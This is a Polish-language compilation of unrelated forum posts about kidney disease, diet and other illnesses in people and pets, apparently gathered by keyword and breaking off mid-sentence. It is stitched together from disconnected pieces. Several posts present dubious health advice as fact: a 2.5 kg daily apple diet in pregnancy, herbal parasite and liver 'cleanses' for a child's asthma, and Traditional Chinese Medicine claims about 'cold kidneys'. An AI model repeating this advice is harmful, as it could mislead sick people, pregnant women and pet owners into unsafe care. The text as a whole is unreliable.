Intensywne obowiązkowe leczenie antybiotykami i mamy zdrowy organizm.

Podpisano: obserwator.

To super ze żonie sie udalo bo mi niestety nie:(Mam 26 lat i rowniez probowalam
wyleczyc sie sama odpowiednia dieta malo soli malo picia itp.az w koncu po
poltora roku w lato starcilam przytomnosc w autobusie-przez wysokie
cisnienie.Badanie holtera robione kilka razy tez wykazaly sklonnosci do skokow
cisnienia.Staralam sie ale sie nie udalo:(To nie jest moj wymysl ani
urojenie-mimo mlodego wieku zostalam podwiazana-dlaczego?-bo niestety jestem
chora.Chora na nadcisnienie.Przyczyna nie sa nerki serce itp.dieta i to wszystko
o czym piszesz moga byc tylko sposobem na zlagodzenie objawow ale nie calkowite
wyleczenie.Zalezy na jakim podlozu wystepuje choroba?Czy Twoja Żona nie miala
choroby"bialego fartucha?"Taka choroba rowniez wystepuje:)Ja mialam robione
kilkakrotnie badanie holtera i niestety z uplywem czasu moje cisnienie jest duzo
gorsze,choc inne wyniki sa niezle.Odzywiam sie odpowiednio wiec?odpowiedz mi co
moze byc przyczyna mojego nadcisnienia?urojenie moje?lekarzy?bede ci wdzieczna
za madra odp.bo naprawde sa dni ze moje cisnienie przekracza granice 240/110:(

Radni wobec sprawy barona P - bezradni!!!!!!!!!!
Co bezwlad i paraliz w podejmowaniu decyzji w sprawach niecierpiacych zwloki a
dot. szastania publicznych finansow

Plagton jest scigany za kazda zlotowke.. w wojewodztwie obszary biedy , ludzie
chorzy na nowotwory zebrza o pomoc, NIECH radni SPOJRZA W OCZY DZIECI DLA
KTORYCH JEDYNYM POSILKIEM JEST OBIAD W SZKOLE - obiad finansowany z naszych /
bo podatnikow/ pieniedzy. Sami nich sie zloza na diete dla tego hosztaplera i
nich oddadza im rowniez swoja nerke maja przeciez po dwie!!!!!!!!!!!!!!

Marzku, i jeszcze jedno: Jak wczytasz się w naszą stronke o Ewci, to znajdziesz
opis, jak doszło do tego, ze juz w wieku 10tygodni postawioną miała diagnozę-
ona nie rosła, to znaczy rosła, ale o połowę wolniej niż rówieśnicy, a ponadto
silnie ulewała i wymiotowała. Jej anemia się pogłębiała.
tyle.
anemia pogłębiała sie, bo była niedożywiona. i dopiero przez te złe wyniki
trafiliśmy do szpitala.
i znów wmówiono nam infekcje i dano po raz kolejny, uważam, że bezzasadny
antybiotyk. te wszystkie antybiotyki i zapalenia płuc wówczas to były bzdura-
ona mi nie chorowała, a ciagle wmawiano infekcje. ponadto wmawiano nam
alergię-niealergię. bo ja na diecie byłam, a ona nie rosła, wnioskowano, ze
pokryjomu obżeram się jakims świństwem- czyli wina matki. ale z tą alergią to
było na wyrost, bo nic tak naprawdę nie wskazywało na nią.
traktowano Ewcię jak chorą-niechorą. a jeśli chorą, to z winy matki. "dziecko
zaniedbane"- oto co powiedziano o Ewci.
dopiero badanie kału na stopień strawienia (tłuszcz i białko w stolcu) oraz
chlorki w pocie dały odpowiedź , że to muko.

pewnie już ci to kiedys pisałam, jesli coś nie daje ci spokoju, jesli uważasz,
ze nalezy gruntowniej przebadać synka, to zrób koniecznie chlorki w pocie. koszt
bez skierowania 12-20zł, zalezy od labolatorium. wazne żeby dziecko spociło się
w trakcie badania.wynik jest od razu, lub po kilku dniach- zalezy od sprzetu.
pozdrawiam

CD-leczenie Kici z zapaleniem nerek!
W piatek zrobiłam kolejne badania krwi u mojej chorej na nerki Kici. Po sześciu
dniach leczenia (kroplówki, zastrzyki i dieta) mocznik spadł z 196 na 164,
kreatynina z 3.82 na 2.6 Kicia jest ogólnie w dobrej formie - apatia minęła,
chętnie wychodzi na spacery; je dietetyczną sucha karmę, pije wodę itp. Karmę
mięsną nadal podaję jej strzykawką, bo jej nie smakuje (otrząsa się ze
wstrętem!). Cały czas eksperymentuję z dietetycznym jedzeniem, a Kicia
najchetniej nadal jadłaby surowe mięso, ryby, sery itp. Ale jestem
konsekwentna:) Nasz weterynarz powiedział, że należy uzbroić się w cierpliwość,
bo mocznik i kreatynina zawsze spadają powoli i jest duża szansa, ze nerki
podejmą prawidłowe funkcje. Trochę kamień spadł mi z serca.
Poproszę, jeśli możecie, na o dalsze dietetyczne "przepisy" na jedzenie dla
Kici, bo ona sama je tylko suchą karmę. A jak często kontrolować teraz krew?
Weterynarz zadecydował, że nic jej teraz nie podajemy, tylko żywimy
dietetycznie. Czy to ok?

Weterynarz dobrze powiedział. W sumie przy niewydolności nerek powinnaś ją
trzymać na diecie tak długo, jak konieczne (często przez całe życie). Wyżej
podałam Ci sposób na domowe przyrządzanie jedzenia. Miksowane. Ja z tej
odparowanej papki (najpierw zmiksowanie, potem odparowanie) robiłam kulki.
Czasem te kulki były zjadliwe, a czasem niestety musiałam dodawać wody i
podawać ręką, jako bardziej rozpapulone, wciśnięte z boku pysia. Kulki tak
bardzo smakowały pozostałym moim kotkom, że musiałam bronić jedzenia dla
chorego przed ich zakusami.
Mocznik i kreatynina spadają powoli, z czego szybciej spada mocznik, łatwiej go
zbić. Przy suchej karmie musisz pilnować, aby stale piła. Dlatego próbuj innej
karmy. Jak często kontrolować krew - to już powie Ci lekarz, bo widać, że się
dobrze zajmuje Twoją kiciunią.
Trzymaj się i spróbuj pogotować sama i pomiksować wg przepisu w poście ode mnie
wyżej.

dieta chorego psa
Moja sunia ma chłoniaka - wiem, że w tej sytuacji powinna jeść dużo białka, a
mało węglowodanów. Niestety w międzyczasie dorobiła się niewydolności nerek -
więc łykała karmę niskobiałkową. Do tej pory nie było z tym żadnych
problemów, ale ostatnio odwidziała jej się ta karma. Na nic karmienie z ręki,
na nic zabawy typu "zjedz, bo ja ci zjem". Dodawanie mięsa do karmy kończy
się wyjedzeniem samego mięsa, co nerkom nie służy, zwłaszcza że w mięsie
dostaje leki. Dziewczyna najwyraźniej postanowiła przejść się na
wegetarianizm, bo rzuca się na owoce, marchewką i brokułami też nie pogardzi,
mimo że wcześniej była 100-procentowym mięsożercą. Dodanie winogron do karmy
sprawia, że ją zjada. Czy mogę jej na to pozwolić? Dziennie wychodzi po
kilkanaście winogron, kawałek mandarynki, 2-3 śliwki, za to karma zjedzona
(suczka waży 31 kg) - czy to jej może zaszkodzić (to w końcu cukier), czy
wręcz przeciwnie (witaminki) i może jeść ich więcej?

dzięki za poradę. Sama zasugerowałam usg j.brzusznej ale wet.stwierdził że przy
zapaleniu trzustki nic nie wykaże a co do ciała obcego odparł że u kotów to
bardzo rzadkie więc wykluczył.

Również podwyższona kreatynina 3,4 mg/dl i BUN/mocznik 26 mg/dl raczej mówi o
chorobach nerek a wt. powiedział że przy zapaleniu trzustki to parametry nerkowe
rosną.a możę to trzeba leczyć nerki?
Kot nie ma biegunek kał oddaje 1raz a jak nie je to rzadziej ,mocz również
rzadko 1raz na dobę mało pije.A co do diety royal sensitiviti i surowej wołowiny
to zalecenie weterynarza.sama nie wiem co robić w mieście nie ma wielkiego
wyboru weterynarzy.A ten nasz ma opinię najlepszego .ta podwyższona dwukrotnie
amylaza 2622u/l też mówi o chorej trzustce?

Moje najgorsze prognozy sprawdziły się.Mój kot ma przerwę drugi dzień w tabl.
Dexamethasonu i objawy wróciły: jest wystraszony szuka trawy wymiotował 4razy
treścią brązową z trawą nie je i nie chce pić. czyli to miesięczne leczenie nic
nie dało.Proszę o jakąś radę.W tym tygodniu pójdę zrobić kontrolne badania i
zasugeruję że może trzeba szukać innej diagnozy i leczenia.

pozdrawiam.

Dzięki Nurse ,z tego co piszesz to myślę ze jesteś związany z medycyną -czy się
mylę ?Oj juz naprawdę mam dość tej podagry .zasmuciłem się tylko ,że tego nie
mozna wyleczyć no ale cóz jak tat musi być to trudno .I tak z tych trzech
sposobów zachorowania na to to mam tylko problem z nerkami .Nie pamiętam już
kiedy jadłem coś takiego coby mogło wywołać tą podagre .Może będę musiał
przebadać tarczycę ,bo tego jeszcze nie badałem ,ale jakie badania bym musiał
zrobić ?
Pić to piję naprawdę dużo w związku z chorymi nerkami ,a i tak to mnie jakoś
trzyma 2 miesiąc jak biore leki to trochę ustępuje a jak przestanę to na nowo
już jestem tym umęczony .
A moze to coś z tą tarczycą -jak sugerujesz tymbardziej że mam też podniesione
trojglicerydy i pomimo ze stosuje dietę i biore leki to nie mogę ich
doprowadzić do normy .
Oj muszę to koniecznie sprawdzić .Bardzo dziękuję za zainteresowanie i
pozdrawiam

Już pisałam o tym na forum - w przypadku zdrowego zwierzaka namaczanie suchego
rzeczywiście nie jest potrzebne - ważne jest, aby zapewnić stały dostęp do wody
(btw - pojawiające się w wątku rady hodowcy co do ograniczania dostępu do wody
labradorowi są cokolwiek dziwne; labki nie różnią się przecież fizjologią od
innych psów - rasowych i nie - to nie wielbłądy! Woda to ok. 70% organizmu psa
czy kota - jej ubytki muszą być stale i bez wyjątku uzupełniane).
Namaczanie karmy suchej jest zalecane np. w przypadku zwierząt cierpiących na
syndrom urologiczny. Zalecane jest wówczas przepłukiwanie nerek, większa ilośc
płynów pozwala rozcieńczyć mocz (mniejsze szanse na tworzenie kryształów).
Chory zwierzak powinien pić nawet o 50% więcej niż dotychczas - łatwo mu to
jednak powiedzieć, ale już trudniej oczekiwać współpracy ("A od dzisiaj drogi
Azorku, czy mógłbyś pić więcej niż do tej pory?"). W takich sytuacjach
namaczanie suchej karmy pozwala przemycić tę dodatkową ilość płynów w diecie
zwierzaka.

Chory kot
Witam
Moja 3-letnia kotka jest chora - dwukrotnie w tym roku miała problemy z
siusianiem, tzn. robiła mało i często. Po badaniu moczu okazało się że ma
uszkodzone nerki i podwyższony poziom cukru (295). Po kilku zastrzykach jest
lepiej, dostaje też karmę Renal. Na diecie ma byc przez 3 miesiące, potem
okaże się co dalej.
Na cukier trzeba by pobrać krew, ale być może nie obejdzie się bez narkozy,
bo nawet przy zastrzyku strasznie się wyrywa.

A ja sie martwię, bo wyczytałam ostatnio, że dieta "nerkowa" i cukrzycowa są
diametralnie różne, a nieleczona cukrzyca szybko kota zabija.
Na razie wydaje mi się, że kicia dużo śpi, ale może to złudzenie.

Czy ktoś miał podobne doświadczenia?

Pozdrawiam Was i wasze zwierzaki.

kakui napisała:

> a skad masz pewnosc ze rzeczywiscie doprowadzaja koty i psy do takiego
stanu???
>
> a moze szuakja chorych zwierzat w schroniskach???

Co niemal na jedno wychodzi, bo jeśli je biorą, to nie po to, żeby je leczyć, a
żby jeszcze bardziej cierpiały.
A żywienie np. kotów chorych na nerki nie ma ich leczyć, tylko wspomagać
leczenie - tak, jak u chorych ludzi stosuje się odpowiednią dietę.

A czy ma problemy tylko z pecherzem, czy moze tez szereg innych dolegliwosci -
czasem problem z pecherzem i nerkami jest tylko manifetacja ogolnego oslabienia,
innych schorzen? A przyczyna stanow zapalnych jakie ma podloze - bakteryjne, czy
moze nie? Moze warto na to zwrocic uwage.

Pozwinna bardzo uwazac na nerki (chronic przed chlodem, ale tez przed
przegrzaniem), wedlug Tradycyjnej Chinskiej Medycyny ma osalbiona energie nerek
(sa wychlodzone) - warto do diety wprowadzic imbir, gozdziki, cynamon, czosnek,
unikac picia zielonej herbaty (bo wychladza nerki).
Generalnie mysle, ze warto wzmocniac system odpornosciowy (suplementacja
naturalnymi preparatmi), zdrowa dieta (pozbawiona wysokoprzetworzonych
produktow, bez konserwantow, polepszaczy, z ograniczona iloscia cukru, slodyczy,
bialej maki i bialego pieczywa, duzych ilosci czarnej herbaty i kawy).
To takie ogolne rady, ktore w pierwszym momencie przychodza mi do glowy.
Trzymam kciuki za polepszenie stanu chorej. pozdr. Asia

Moja suczka.....
Dziś rano moja suczka nie mogła ustać na własnych nogach przewracała
się ,wyglondało to jak by to był paraliż tylnych łap.Pojechałam z nią do Pana
doktora po badaniu krwi i moczu stwierdził że ma chore nerki musi przyjmować
kroplówki ,ale Pan doktor powiedziak że sznałcery czesto majom problemy z
narkami .Czy ktoś się spotkał z tą chorobom wiem że pies musi być na diecie i
nie możę się przemeczaś tak zalecił lekarz.

Ja leczylam rodzinę jeszcze u dr mikołajewicz. Przyjęliśmy leki całą
rodziną , a chory był tylko syn , miala duszności i objawy asrmy.
duszności minęły bezpowrotnie (już 2 minęły lata )a kaszel powrocił
po 3 miesiącach . z doświadczenia wiem że sprzątanie nie pomoże ,
jest bezcelowe , o wiele ważniejsza jest dieta ktora podtrzymuje
takie środowisko w organizmie ktore zniechęca pasożyty i wirusy.
eliminacja słodyczy, soków, owoców , nabiału i mąki pszennej. Dobrze
jest stosować dużo gorzkich i i ostrych ziół : tymianek imbir,
curkuma, kolendra, kminek, kmin rzymski, cynamon. olecam picie
ziół na pasożyty. Po nich trzeba pić ziola na czyszczenie wątroby i
nerek . polecam wwwlekabel . byłam na wizycie u tego zielarza i od
kilku miesięcy pijemy jego ziółka . U malego kaszel nie pojawia
się , ale trzeba być konsekwentnym i pić codziennie 3 razy przed
jedzeniem.

Ze strony www.re-curo.pl/modules.php?
name=Sections&op=viewarticle&artid=68

"Jest niezastąpiony podczas upałów, gasi pragnienie, orzeźwia i odświeża. Można
objadać się nim bezkarnie, wielki plaster to zaledwie 50 kcal, śladowe ilości
tłuszczu i węglowodanów. Zawarty w owocu błonnik wywołuje uczucie sytości.
Warto więc czasem zafundować sobie oczyszczający dzień arbuzowy. Nie będziemy
jęczeć z głodu, jak przy innych owocowych lub warzywnych dietach. Jest wskazany
dla sportowców, gdyż porcja arbuza pomaga wydalać z organizmu szkodliwe związki
gromadzące się w mięśniach w czasie intensywnych ćwiczeń. Owoc zawiera dużo
witaminy C, beta - karoten, kwas foliowy i likopen, jeden z najsilniejszych
przeciwutleniaczy, które chronią przed chorobami serca i nowotworami. Żelazo
pomaga osobom anemicznym i rekonwalescentom. Ze względu na zawartość potasu
jedzenie arbuzów zaleca się chorym na zapalenie miedniczek nerkowych, mającym
piasek lub kamienie w nerkach. Sok wyciśnięty z tego owocu działa
przeciwzapalnie na błony śluzowe jamy ustnej. Łagodzi stany zapalne dziąseł,
rany i paradontozę. "

Słabo je i nic nie chce pić 15 miesięcy
Mój syn ma 15 miesięcy i od urodzenia mam duże problemy z jego karmieniem.
Pierś odrzucił w wieku 3 miesięcy, butelkę pił do 6 miesięcy - później mleko
w postaci kaszek itp. tylko łyżeczką i tak jest do tej pory.
Poza tym nie chce nic pić - ani z butelki, ani z kubka, ani ze szklanki, ani
z łyżeczki. Próbowałam już różnych soków, herbatek, wody oraz przeróżnych
sposobów podawania. Przez problem z piciem cały czas borykamy się z problemem
zaparć.
Teraz kiedy do diety wchodzi coraz więcej nowych pokarmów stałych - nie
miksowanych(które zresztą Maluch woli) z zaparciami robi się coraz gorzej.
Mam pytanie do Pani Doktor i Mam, z podobnym problemem - czy tak wielka
niechęć do picia może mieć jakieś podłoże medyczne?
No bo nie jest to raczej normalne, że ten Mały człowieczek w 35 stopniowym
upale nie wziął do buzi ani łyka picia, podobnie gdy był chory i miał 40
stopni goraczki - również nie chciał nic pić, mało brakowało aby się
odwodnił. Nie wiem już co robić - jak przekonać go do picia? jak nauczyć go
pić? no i coraz większy niepokój, że może jest to jakiś niepokojący objaw
jakiejś choroby? (np. nieprawidłowa praca nerek - ostatnio Mały miał
nienajlepsze wyniki badań moczu - między innymi ślady białka, wałeczki - ale
Pani Pediatra powiedziała, że to tylko wynik infekcji i że nie trzeba
powtarzać badań?

chorowity kocor
Witam serdecznie, jesli ktos ma podobny problem ze swoim kotem, ktory opisze
ponizej prosze bardzo udzielic mi moze jakiejs rady.
Otoz Yellow byl jakies 5 miesiacy temu wykastrowany i ogolnie rzecz biorac
wyciato mu wszystkie atuty kocora.
Operacja taka byla niezbedna poniewaz Yellow mial kamienie w nerkach.
Jestem juz zmeczona bardzo jego wypadami chorobowymi poniewaz byla rowniez
niedawno operowana jego szczeka, bo Yellwo uczyl sie latac z szostego pietra.
Wykosztowalam sie niesamowicie i po prostu teraz zwlekam z pojsciem do
weterynarza.
Tak, wiec jesli kto moze mi powiedziec, bo zna podobny przypadek to bede
wdzieczna.
Otoz: niedawno zmienilam Yellow krokiety i jakos w tym samym czasie (ale moze
to dziwny zbieg okolicznosci)zaczil chorowac. Co mu jest tego kurde nie moge
stwierdzic byc moze zoladek, bo od jakiegos czasu kiedy zrobilam mu diete,
wiem ze jak tylko podam mu krokiety od razu wymiotuje i od razu jest chory
tzn widze ze cierpi (a wieszcie wiem kiedy cierpi, bo juz z tym dziadem wiele
przezylam). W kazdym razie jest dalej na diecie i podaje mu tylko mieso z
ryzem po czym przynajmniej niewymiotuje i raczej jest w formie, przynajmniej
nie cierpi zabardzo.
Jest tez inna rzecz, ktora zauwazylam juz od moze dwoch miesiecy, otoz yellow
ma czarne plamki na dziaslach!, moze to watroba?
Kurcze tak sobie domyslam i wymyslam pewnie nikt mi nie pomoze bedzie trzeba
znowu kase wybulic.
Bede wdzieczna za moze jakas konkretna rade.

Tutu: mogłabyś zrobić cos, żeby to twoje kocię się nie darło, jak ja spie na
fotelu w malym pokoju? a poza tym, co to za porządek, zeby kota przepędzać z
każdego miejsca, gdzie tylko się ułoży! karm swoje kocie w swoim legowisku!!
A poza tym to cię kocham, chociaż może trochę szorstki ze mnie kocur.
Mania: czemu do was przychodzi tylu obcych ludzi i ja muszę pod wanną siedzieć?
[boi się gości - przyp.mój] No i kiedy wreszcie dostanę puszkę? Chyba mnie nie
kochasz, bo zanosisz je tym z dworu, a my mamy tylko chrupki... [jest na diecie
z powodu chorych nerek] No ale fajnie bawisz się ze mną wędką, więc jest ok.
Tylko proszę częściej.
Łobuz (pies): w tym roku to już mi dałaś do wiwatu! nie dość, że są koty, to
jeszcze szczęnię swoje przyniosłaś i teraz to już chyba nikt mnie nie kocha.
Dobrze, że chociaż Tutu pogania się ze mną czasem. W sumie koty są w porządku,
ale po co ci to szczenię, to nie wiem.

Ha! to znowu ja...
Nie wiem czy Ci wspominałam, ale tak właśnie było z moją Dzidzią: zabrana na
sterylke, postanowiła zamieszkać na stałe...Miała wtedy rok i była kotem wolno
żyjącym i...wszystko jedzącym ) Po jakimś czasie Dzidzia "przestawiła się"
na suche właśnie. Teraz z rzadka skubnie Mietkowi kawałek surowego mięsa,
głównie po to, aby "go zabić" (mięsko, nie Mietka), czasem poliże puszkowe.
Żywi się prawie wyłacznie suchą karmą, tyle że dobrej jakości, jest zdrowa
(poza gronkowcem), wesoła i zadowolona. podobna sytuacja była z kocurkiem,
który przez czas jakiś mieszkał z moim ojcem. Też zgarnięty z podwórka, chory i
zabiedzony, po kastracji wybrał suche. Po śmierci ojca trafił do Pani, która
bardzo się martwiła tą jego mono-dietą...Filipek waży teraz 8 kg i jest bardzo
zadowolonym z życia kotem. Ale konsultacja u weta i ewentualne badanie krwi nie
zaszkodzą (poza odrobiną stresu). Mietek traci apetyt jak się źle czuje
(choruje na nerki), jak większość kotów pewnie...Moja koleżanka obserwując
swoją kicię wymyśliła nowe hasło "twój kot plułby na Whiskas.." Może warto
spróbować delikatnie zmienić karmę "mokrą"...
Pzdrawiam serdecznie!

Nie przejmuj się tą kastracją. To nie była ingerencja w całą gospodarkę
organizmu (to nie jest organ, który ma zasadniczy wpływ na funkcjonowanie). To
było tylko wyłuskanie "orzeszków", zostało mu prącie i odruchy. Kastracja to
nie jest choroba, nie zmieniaj mu niczego. Nie miał chorych nerek, nie miał
chorej wątroby, to dlaczego miałoby mu się cokolwiek zmienić z powodu usunięcia
jedynie "orzeszków". Dawaj mu normalną karmę i normalne mięso, to co jadł do
tej pory. Ryb i tak nie powinno się podawać codziennie, lepsze są morskie od
słodkowodnych. To naprawdę nie choroba, żeby powinno się go od razu karać
dietą. Niektóre tylko koty mają tendencje do tycia, ale tylko niektóre. Jeśli
zauważysz, że bardzo bardzo tyje, to po prostu nie dawaj mu za jednym zamachem
całej porcji, tylko podziel na mniejsze i porozkładaj w jakichś zabawkach, żeby
wyszukiwał jedzenie i "zdobywał". Będzie miał zajęcie, trochę "polowania" i nie
będzie tył z nudów.
Dawaj to, co sama byś sobie dawała, gdyby Ci przyszło było wyciąć guzy z
macicą. Też byś nie przeszła od razu na dietę wątrobową albo cukrzycową.
Spokojnie, raz w roku badanie krwi i dopiero, kiedy coś niepokojącego wyjdzie,
to wtedy stosuj odpowiednią dietę. A na razie niech je, co lubi.
Pozdrawiam. Wiesia z szósteczką

W podobnym wieku bylam w sadzie celem uzyskania wyzszych alimentow.
U nas byl zakaz chodzenia do zlobka (wieczne zakazenia ukladu moczowego, a w
zlobku trudniej utrzymac higienie). Zakaz mialam, jak najbardziej.

Sad nie odniosl sie w zaden sposob do tego. Nie odniosl sie rowniez, gdy potem
mowilam, ze pracuje, ale musze codziennie odwozic dziecko 30 km w jedna strone
do rodzicow, by w ogole pojsc do pracy.
To sadu nei interesowalo.

Po jakims czasi ezlozylam skarge na dzialania sadu (w innej sprawie) i widze, ze
po pierwsze pani sedzia znikla (a sugerowala, ze w ogole powinnismy byc razem i
tego typu docinki...).
Stwierdzila, ze nieistotne, ze dziecko ma chore nerki i musi miec zbilansowana
diete. Ona jada w restauracjach i jest ok (tu chodzilo m.in. o sol)...

Po paru latach "kopania sie z koniem" trafilam na normalnych sedziow, takich
ktorzy brali argumenty obu stron pod uwage. Wzieto i to, ze maly jest chory
(obecnie stwierdzony zespol aspergera) i to, ze ojciec dziecka ma nowa rodzice i
drugie dziecko.
Czyli uwazam, ze mozna bylo sprawe od poczatku potraktowac sprawiedliwie.

Ale jak bedzie w Twoim przypadku??? Zalezy na kogo trafisz.

nie tyle ile oddajesz ale kompletny bilans płynów przyjmowanych i oddawanych w
ciagu dnia (pamietaj, że owoce też mają płyny w sobie:)) ). Wtedy będziesz mogła
stwierdzić czy zatrzymujesz wodę w organiźmie. Jeżeli wyjdzie ci, że
zatrzymujesz udaj się do twojego lekarza, może to być zwykła przypadłość ciążowa
i da ci coś na odwodnienie lub skieruje na usg nerek czy czasami nie ma w nich
zastoju spowodowanego bądź infekcją lub tez uciskiem macicy.
Może się okazać jednak, że wszystko jest ok i wtedy polecam ci sprawdzoną przez
siebie dietę jabłkową czyli 2,5 kg jabłek przez cały dzień. Wspaniale oczyszcza
a przede wszystkim spędza wodę z organizmu w naturalny sposób, po 2-3 dniach od
jej stosowania zazwyczaj cały nadmiar wody jest wydalony a ty czujesz się
świetnie. I nie szkodfzi to dzidzi- taką dietę stosowali u mnie jak leżałam na
patologii ciąży z chorymi nerkami.

pozdrawiam

Zuzia i Maleństwo 37 tc

Powiększone węzły i wątroba
Witam!
U mojego synka wykryto (4 grudnia) powiększoną wątrobę 5 cm poniżej łuku
żebrowego. Był wtedy chory, przyjmował antybiotyk. Po wyzdrowieniu i
zakończeniu kuracji wątroba się nie zmniejszyła ani trochę (USG) i pozostały
powiększone węzły chłonne za uszami. Dziecko w tej chwili jest okazem
zdrowia, apetyt dopisuje, dieta lekkostrawna, może trochę długo śpi w dzień,
bo nawet 4 godzinną drzemkę sobie urządza, a to na dwulatka dużo chyba. Tym
bardziej, że wcześniej tyle nie sypiał.
Wszystkie dotychczasowe wyniki są dobre. Synek miał robioną próbę wątrobową,
testy na cytomegalię, HCV, toksoplazmozę i mnóstwo innych schorzeń. USG
wskazuje na prawidłowe nerki, śledzionę, trzustkę, dwunastnicę. Jest
oczywiście nadpłytkowość, ale to normalne przy powięszonej wątrobie.
Nie wiem, co o tym myśleć. Jutro kolejne USG... ale co to może być?

Poczytaj tu:
FOSFOR
85% całkowitego fosforu w organizmie ludzkim znajduje się w kościach, 6% w
mięśniach, a 9% w innych tkankach. Tylko 1% fosforu ustrojowego znajduje się w
płynie pozakomórkowym. Fosforany są najważniejszym anionem śródkomórkowym oraz
składnikiem związków wysokoenergetycznych. Stężenie fosforu w organizmie ludzkim
jest zależne od podaży fosforanów z pokarmami, stopnia ich wchłaniania w
przewodzie pokarmowym i wydalania ich z moczem.
ZAKRES WARTOŚCI PRAWIDŁOWYCH 0,9-1,6 mmol/l

WARTOŚCI PODWYŻSZONE
-wzmożone wchłanianie fosforanów z przewodu pokarmowego ( np. odżywianie
niemowląt nie rozcieńczonym mlekiem krowim, nadmierna podaż witaminy D)
-nadmierne uwalnianie się fosforanów z rozpadających się tkanek, faza
kataboliczna u chorych z ciężkimi urazami lub infekcjami, nadmierny wysiłek
fizyczny, kwasica przebiegająca z odwodnieniem, rozpad komórek nowotworowych
spowodowanych intensywną chemioterapią )
-zmniejszenie wydalania fosforanów z moczem wywołane ostrą i przewlekłą
niewydolnością nerek
-nadmierna mobilizacja fosforanów z kości
-inne

WARTOŚCI OBNIŻONE
-niedostateczna podaż fosforanów ( wynik niewłaściwej diety)
-niedostateczne wchłanianie fosforanów w przewodzie pokarmowym
-nadmierne przemieszczanie fosforanów z przestrzeni pozakomórkowej do komórek (
chorzy z oparzeniami lub po ciężkich urazach, chorzy na cukrzyce z kwasicą
ketonową, zasadowicą oddechową)
-nadmierna utrata fosforanów przez nerki

Pojawienie się bilirubiny w moczu może być wynikiem wzrostu jej stężenia we
krwi, np. z powodu niedrożności dróg żółciowych (żółtaczka mechaniczna) lub
uszkodzenia wątroby (wirusowe zapalenie wątroby).
Ciała ketronowe mogą być obecne w moczu osób niedożywionych, pozostających na
diecie bogatotłuszczowej, w stanach gorączkowych, przy ciężkiej niewydolności
nerek. Najczęściej jednak ciał ketonowych poszukuje się u osób chorych na
cukrzycę

Może przydadzą Ci się te informacje.
U wszystkich chorych na cukrzycę typu II trzustka na początku choroby nadal produkuje insulinę i może ją nawet produkować do końca życia,ale jej poziom
z czasem spada,co powoduje nieprawidłowości w pracy wielu narządów.Typowe
objawy w cukrzycy typu II to:utrata wagi,zmeczenie,częste oddawanie moczu,
wzmozone pragnienie,ale także infekcje skórne (czyraki,grzybice),świąd sromu,
suchość w jamie ustnej oraz postępujące zaburzenia widzenia.
terapia cukrzycy typu II rozpoczyna się od odpowiedniej diety i ruchu.Niezbyt
forsowne ćwiczenia fizyczne,odpowiednio dobrane przez lekarza,regulują poziom
cukru we krwi.Mięśnie podczas wysiłku zużywają nadmiar glukozy i w konsekwencji tego jej poziom w organizmie spada.Odpowiednia dieta powinna dostarczać
odpowiednią ilość aminokwasów,makro- i mikro-elementów i pierwiastków śladowych
oraz minerałów.To wszystko znacznie pomaga w metabolizmie komórkowym.
Odpowiednia suplementacja opóźnia i hamuje powikłania naczyniowe cukrzycy.
Są nimi "stopa cukrzycowa",nefropatia i zaburznia filtracji nerek,zaćma i
polineuropatia cukrzycowa.
Jacek

Tez mnie interesuje ten temat .Biska mi osoba też ma problem z
trójglicerydami .Jakieś 7 lat temu poziom trójglicerydów wynosił 1200 przy
normie do 160 a cholesterol 500 po 3 miesiacach i ścisłej diecie cholesterol
spadł do 390 ale nie badał wówczas trójglicerydów bo po wizycie u lekarza
lekarz zalecil leki obnizające cholesterol zaczynał od Grofibratu co obniżyło
poziom Chol.,i trójglicerydów .ale problem z trójglicerydami mam nadal ,pomimo
stosowania leków obnizających ich poziom.A i też ma bardzo niski poziom dobrego
cholesterolu zawsze ponizej 30 .Szukając po necie informacji na ten temat też
doczytałam sie ,ze to moze być zwiazek z tarczycą ,wykonał TSH które wynosi 4.7
gdzie norma jest do 5.5 .,ale lekarz jakoś nic na to nie powiedział .Osoba ta
choruje na nerki ale lekarz wykluczył ,ze takie zaburzenia lipidemiczne mogą
pochodzić od chorych nerek .Jakie nalezałoby jeszcze wykonać badania aby
sprawdzić prace tarczycy ,skoro TSH jest w normnie .Pozdrawiam

Wszelkie bardzo silne skurcze w rekach nogach kolatania serca
itp ,powoduja niedobor potasu.Mialam tak po operacji(2,96). Wiem
jaki to jest "bol" Podawano mi potas w kroplowce.Zastanow sie co
u Ciebie powoduje ze ma niski poziom? moze stosujesz jakas
diete? chora watroba? leki moczopedne ,nerki itd
Uspokoj sie przeszlam to bedac w szpitalu wiec tych objawow
nie wysnulam sobie z palca....
Tak jak ktos pisal raz w m-cu zrob sobie jonogram i
zastanow sie nad przyczyna....

Parę miesięcy temu był sporo popuchnięty - organizm zatrzymywał wodę. Podobno
przez 2 tygodnie w szpitalu "schudł" 15 kilo. Pilnował diety, brał leki, ale
generalnie lekarzy unikał jak ognia:/ Teraz jest pod respiratorem /przytomności
nie stracił/, ale skoro serce ma tak chore, ze konieczny jest rozrusznik, a do
tego doszedł problem z nerkami i wątrobą... rokowania chyba nie są dobre:((( No
i co drugi dzień dializy...

Ja też rok temu straciłam kota na niewydolność nerek,był jeszcze młody cały
czas o nim mysle zmarł dzień przed wigilą nie długo bedzie rocznica.Wiem co
czujesz ja za swojm cały czas bardzo tęsknie w pokoju mam cały ołtarzyk z jego
zdjęć , raz w tygodni chodze pod drzewo pod którym go pochowałam,czasami myśle
że to chore,ale to był na prawde wspaniały kot traktowałam go jak własne
dziecko....Nowy rok siedziałam w domu w żałobie,wszyscy się nabijali że
nienormalna jestem ale ja nie mogłam doiść do siebie.Ten kot ze mną spał jadł z
jednego talerza,towarzyszył mi zawsze jak odrabiałam lekcje.Próbowaliśmy
wszystkiego nawet pytaliśmy o transplantacje i dializy ale pan doktor tylko
uśmiechał sie pod nosem dając nam delikatnie do zrozumienia że nic nie da sie
zrobić.....
Trzymaj się i pomyśl że już nie cierpi,żył może króciutko ale otoczyliście go
miłością i napewno był z wami szczęśliwy.Wierze że kiedyś wszyscy gdzieś się
spotkamy...

Apeluje do Was, pamietajcie o tym, ze wiele kotow umiera
> na niewydolnosc nerek, ze mozna to opoznic specjalna dieta

Można lekarz nam o tym mówił ale mój nie chchciał jeść tej zdrowej karmy wcale.
chorował rok w ostatnim stadim go uśpiłam bo widziałamże cierpiał.
Wiem co czujesz,ale pomyśl że już nie cierpi

Stężenia magnezu we krwi nie odzwierciedlają jego zapotrzebowania w
okresie ciąży. Aby w badaniach otrzymać hypomagnezemię czyli objaw
niedoboru magnezu trzeba być poważnie chorym, np. na nerki. W ciąży
